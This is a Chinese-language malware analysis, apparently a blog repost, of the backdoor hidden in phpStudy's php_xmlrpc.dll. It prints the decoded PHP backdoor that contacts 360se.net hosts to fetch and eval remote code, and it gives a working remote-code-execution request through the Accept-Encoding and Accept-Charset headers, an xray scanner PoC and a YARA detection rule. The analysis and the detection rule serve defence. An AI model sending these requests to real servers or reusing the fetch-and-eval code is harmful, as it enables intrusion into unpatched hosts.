zoukankan      html  css  js  c++  java
  • PHPStudy后门事件分析

    PHP环境集成程序包phpStudy被公告疑似遭遇供应链攻击,程序包自带PHP的php_xmlrpc.dll模块隐藏有后门。经过分析除了有反向连接木马之外,还可以正向执行任意php代码。

    影响版本

    • Phpstudy 2016
    phpphp-5.2.17extphp_xmlrpc.dll
    phpphp-5.4.45extphp_xmlrpc.dll
    
    • Phpstudy 2018 的php-5.2.17、php-5.4.45
    PHPTutorialphpphp-5.2.17extphp_xmlrpc.dll
    PHPTutorialphpphp-5.4.45extphp_xmlrpc.dll
    

    分析过程

    • 1、定位特征字符串位置
    • 2、静态分析传参数据
    • 3、动态调试构造传参内容

    php_xmlrpc.dll

    PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

    定位特征字符串位置

    根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0

    图1:eval特征代码

    静态分析传参数据

    通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。

    第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。

    构造HTTP头,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。

    GET /index.php HTTP/1.1
    Host: 192.168.221.128
    …..
    Accept-Encoding: gzip,deflate
    Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
    ….
    
    

    第二部分,反向连接:判断ACCEPT_ENCODING如果等于compress,gzip,通过关键部分@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。

    构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。

    GET /index.php HTTP/1.1
    Host: 192.168.221.128
    …..
    Accept-Encoding:compress,gzip
    ….
    

    图2:第1部分流程判断代码

    图3:第2部分流程判断代码

    这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密:

    @ini_set("display_errors","0");
    error_reporting(0);
    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
      if( !$handle ){
        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
        if( !$handle ){
            return "err";
        }
      }
      fwrite($handle, $sendMsg."
    ");
        while(!feof($handle)){
            stream_set_timeout($handle, 2);
            $result .= fread($handle, 1024);
            $info = stream_get_meta_data($handle);
            if ($info['timed_out']) {
              break;
            }
         }
      fclose($handle); 
      return $result; 
    }
     
    $ds = array("www","bbs","cms","down","up","file","ftp");
    $ps = array("20123","40125","8080","80","53");
    $n = false;
    do {
        $n = false;
        foreach ($ds as $d){
            $b = false;
            foreach ($ps as $p){
                $result = tcpGet($i,$d.".360se.net",$p); 
                if ($result != "err"){
                    $b =true;
                    break;
                }
            }
            if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
            if (strpos($info[3],"/*Onemore*/") !== false){
                $info[3] = str_replace("/*Onemore*/","",$info[3]);
                $n=true;
            }
            @eval(base64_decode($info[3]));
        }
    }while($n);
    

    从1000D028 到1000D66C的代码解密:

    @ini_set("display_errors","0");
    error_reporting(0);
    $h = $_SERVER['HTTP_HOST'];
    $p = $_SERVER['SERVER_PORT'];
    $fp = fsockopen($h, $p, $errno, $errstr, 5);
    if (!$fp) {
    } else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1
    ";
        $out .= "Host: {$h}
    ";
        $out .= "Accept-Encoding: compress,gzip
    ";
        $out .= "Connection: Close
    
    ";
     
        fwrite($fp, $out);
        fclose($fp);
    }
    

    动态调试构造传参内容

    OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

    根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。

    图4:OD动态调试Payload

    PHP脚本后门分析

    脚本一功能:使用fsockopen模拟GET发包

    @ini_set("display_errors","0");
    error_reporting(0);
    $h = $_SERVER['HTTP_HOST'];
    $p = $_SERVER['SERVER_PORT'];
    $fp = fsockopen($h, $p, $errno, $errstr, 5);
    if (!$fp) {
    } else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1
    ";
        $out .= "Host: {$h}
    ";
        $out .= "Accept-Encoding: compress,gzip
    ";
        $out .= "Connection: Close
    
    ";
     
        fwrite($fp, $out);
        fclose($fp);
    }
    

    脚本二功能:
    内置有域名表和端口表,批量遍历然后发送数据。注释如下:

    <?php
    @ini_set("display_errors","0");
    error_reporting(0);
    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
        $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  // 接收数据,每次过来一条数据就要连接一次
          if( !$handle ){
            $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);  //错误的时候就重连一次测试。
            if( !$handle ){
                return "err";
            }
        }
        fwrite($handle, $sendMsg."
    ");         // 模拟发送数据
        while(!feof($handle)){
            stream_set_timeout($handle, 2);
            $result .= fread($handle, 1024);   // 读取文件
            $info = stream_get_meta_data($handle);     // 超时则退出
            if ($info['timed_out']) {
                break;
            }
        }
        fclose($handle);
        return $result;
    }
    
    $ds = array("www","bbs","cms","down","up","file","ftp");   // 域名表
    $ps = array("20123","40125","8080","80","53");             // 端口表
    $n = false;
    do {
        $n = false;
        foreach ($ds as $d){                                   //遍历域名表
            $b = false;
            foreach ($ps as $p){                               // 遍历端口表
                $result = tcpGet($i,$d.".360se.net",$p);
                if ($result != "err"){
                    $b =true;
                    break;
                }
            }
            if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
            if (strpos($info[3],"/*Onemore*/") !== false){
                $info[3] = str_replace("/*Onemore*/","",$info[3]);
                $n=true;
            }
            @eval(base64_decode($info[3]));
        }
    }while($n);
    
    ?>
    
    

    POC

    熟悉原理后可根据执行流程构造执行任意代码的Payload:

    GET /index.php HTTP/1.1
    Host: 192.168.221.128
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Accept-Encoding:gzip,deflate
    Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
    Content-Length: 0
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    

    Payload:printf(md5(333));
    回显特征:310dcbbf4cce62f762a2aaa148d556bd

    图5:Payload回显验证

    漏洞验证插件

    漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc,我还是觉得使用长亭的插件写poc,省了好多心力去考虑写各种代码,把主要精力专注到漏洞分析和写poc上。

    name: poc-yaml-phpstudy-backdoor-rce
    rules:
      - method: GET
        path: /index.php
        headers:
          Accept-Encoding: 'gzip,deflate'
          Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
        follow_redirects: false
        expression: |
          body.bcontains(b'a5952fb670b54572bcec7440a554633e')
    detail:
      author: 17bdw
      Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
      vuln_url: "php_xmlrpc.dll"
      links:
        - https://www.freebuf.com/column/214946.html
    

    网络特征

    Accept-Encoding:gzip,deflate    少一个空格
    Accept-Charset:为Base64编码
    

    文件特征

    特征一、
    %s;@eval(%s('%s'));   25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
    29 29 3B
    特征二、
    @eval(%s('%s'));     40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B
    
    
    rule PhpStudybackdoor
    {
    meta:
    filetype=" PhpStudybackdoor "
    description=" PhpStudybackdoor check"
    strings:
    $a1 = "@eval(%s('%s'));"
    $a2 =”%s;@eval(%s('%s'));”
    condition:
    any of ($a*)
    }
    
    

    受影响站点

    http://soft.onlinedown.net/soft/92421.htm
    http://www.opdown.com/soft/16803.html#download
    https://www.cr173.com/soft/433065.html
    http://www.smzy.com/smzy/down319529.html
    https://www.jb51.net/softs/601577.html
    http://www.mycodes.net/16/5051.htm
    http://www.3322.cc/soft/40663.html
    http://www.3h3.com/soft/131645.html
    http://www.downyi.com/downinfo/117446.html
    http://www.pc9.com/pc/info-4030.html
    https://www.newasp.net/soft/75029.html
    http://www.downxia.com/downinfo/153379.html
    https://www.33lc.com/soft/21053.html
    http://www.xfdown.com/soft/11170.html#xzdz
    http://www.wei2008.com/news/news/201817035.html
    http://www.188soft.com/soft/890860.html
    http://soft.onlinedown.net/soft/92421.htm 
    http://www.opdown.com/soft/16803.html#download 
    https://www.cr173.com/soft/433065.html 
    
    

    参考

  • 相关阅读:
    ASP.NET 使用 X509Certificate2 系统找不到指定的文件
    SQL2000中TOP后不能使用变量
    补丁生成与应用工具 V1.5.4
    检测到通信错误。正在使用的通信协议:"TCP/IP"。正在使用的通信API:"SOCKETS"。检测到错误的位置:""。检测到错误的通信函数:"gethostbyname"。协议特定的错误代码:"*"、"11004"、"*"。 SQLST
    CLR 无法从 COM 上下文 0x1a2740 转换为 COM 上下文 0x1a28b0,这种状态已持续 60 秒。拥有目标上下文/单元的线程很有可能执行的是非泵式等待或者在不发送 Windows 消息的情况下处理一个运行时间非常长的操作
    Chart 控件 for vs2008的安装
    SqlServer孤立用户解决——"因为该用户存在对象,所以不能删除该用户。"
    函数 replace 的参数 1 的数据类型 text 无效。
    安装SqlServer2000出现"有挂起的操作"提示的解决
    DB2、ORACLE SQL写法的主要区别
  • 原文地址:https://www.cnblogs.com/17bdw/p/11580409.html
Copyright © 2011-2022 走看看